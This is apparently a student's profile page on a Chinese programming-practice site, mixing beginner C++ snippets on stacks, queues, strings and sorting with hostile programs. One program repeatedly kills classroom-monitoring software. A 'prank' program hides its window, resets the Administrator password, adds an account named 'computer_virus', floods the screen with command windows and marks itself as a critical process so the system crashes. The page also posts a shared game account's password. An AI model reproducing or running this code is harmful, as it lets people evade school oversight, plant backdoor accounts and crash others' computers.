-
个人简介
https://chat.doltrans.com/?code=1015227535 我与希蒙不共戴天,小码君万岁!此人说的,不关我事→
image
C++控制台游戏 - wuwendongxi - 洛谷博客 (luogu.com.cn) https://ltcat.lanzoum.com/b0aj6gsid pcl启动器 #include< iostream>#include <windows.h> using namespace std; int main() { system("taskkill /im studentmain.exe /f"); return 0;} 噶掉电子教室的代码
```none #include<bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; }
c++的恶搞代码
#include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; }
http://web.j5r4.us/ 鼠标自动点击器-连点器软件电脑版下载-极速鼠标连点器 (jisudianji.com)
4399通用账号:2423764051 密码:111111
https://chat18.aichatos.xyz/ chatgtb(https://chat18.aichatos.xyz/)
C++栈 基础代码
#include<iostream> #include<bits/stdc++.h> using namespace std; int st[1001]; int TOP=0; void push(int x){ //入栈 ++TOP; st[TOP]=x; } void pop(){ //出栈 --TOP; } bool empty(){ //判断栈是否为空(空=true 不是空=false) return TOP==0; } int top(){ //访问栈顶 return st[TOP]; } int main(){ return 0; }
#include<iostream> #include<bits/stdc++.h> #include<stack> using namespace std; int main(){ stack<int>s; // 栈名.top(); 访问栈顶元素 // 栈名.push(进入元素); 入栈 // 栈名.pop(); 出栈 // 栈名.empty(); 判断栈是否为空(空=true 不是空=false) // 栈名.size(); 元素的个数 return 0; }
C++队列 基础代码
#include<iostream> #include<bits/stdc++.h> using namespace std; int q[1001]; int head=0; int tail=0; void push(int t){ //入队 ++tail; q[tail]=t; } void pop(){ //出队 ++head; } int front(){ //访问队首 return q[head+1]; } int back(){ //访问队尾 return q[tail]; } int size(){ //队列大小(元素的个数) return tail-head; } int empty(){ //判断队列是否为空(空=true 不是空=false) return tail-head==0; } int main(){ return 0; } #include<iostream> #include<bits/stdc++.h> #include<stack> #include<queue> using namespace std; int main(){ queue<int> s,s1; // 队名.push(加入元素); 入队 // 队名.pop(); 出队 // 队名.empty(); 判断队列是否为空(空=true 不是空=false) // 队名.size(); 元素的个数 // 队名.front(); 访问队首 // 队名.back(); 访问队尾 return 0; }
以C++运行:C字符数组 类型转换
#include<iostream> #include<bits/stdc++.h> using namespace std; int main(){ char b[10]="3.14"; double a=atof(b); //字符串数组char转double //cout<<a+0.1<<endl; char b1[10]="114514"; int c=atoi(b1); //字符串数组char转int //cout<<c-4<<endl; char b2[20]="12345678912345"; long long d=atoll(b2); //字符串数组char转long long //cout<<d+1<<endl; char b3[20]="114514"; char *p; int e=strtoll(b3, &p, 10); //cout<<e; return 0; }
以C++运行:C字符数组 基础操作
#include<iostream> #include<bits/stdc++.h> #include<cstring> using namespace std; int main(){ char a[10]="abc"; char b[10]="123"; strcpy(b, a); //复制 //cout<<b<<endl; strcat(b, a); //拼接 //cout<<b<<endl; //cout<<strcmp(a, b); //比较(a==b返回0 a>b返回1 a<b返回-1) strlen(a); //获取长度 return 0 }
C++字符数组 基础操作
#include<iostream> #include<cstring> using namespace std; int main(){ string s; cin>>s; //不能获取空格 getline(cin, s); //能获取带空格的字符串 s.length(); //获取长度 cout<<s.substr(3, 4); //截取子串 参数1:字串起始位置,参数2:字串的长度 cout<<s.find("12"); //查找字串,输出字串的起始位置 s.clear(); // 清空字符串 return 0; }
选择排序
#include <bits/stdc++.h> using namespace std; int n; int a[1010]; int main(){ cin>>n; for(int i=1;i<=n;i++) cin>>a[i]; for(int i=1;i<n;i++){ int p=i,mi=a[i];
for(int j=i;j<=n;j++){ if(a[j]<mi){ mi=a[j]; p=j; } } swap(a[i],a[p]);} for(int i=1;i<=n;i++) cout<<a[i]<<' ';
} freopen("random.in", "r", stdin); //把输入 改成从 random.in
freopen("random.out", "w", stdout); // 把输出 改成 输出到 random.out
调和级数、 o(nlogn)
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 41
- 顺序结构
- 29
- 分支结构
- 9
- 一本通编程启蒙
- 6
- GESP二级
- 5
- 略有小成
- 3
- 蓝桥杯
- 3
- 栈
- 3
- 循环嵌套
- 3
- 数据结构
- 2
- 其他
- 1
- 位运算
- 1
- 循环结构
- 1
- 融会贯通
- 1
- 月赛语法
- 1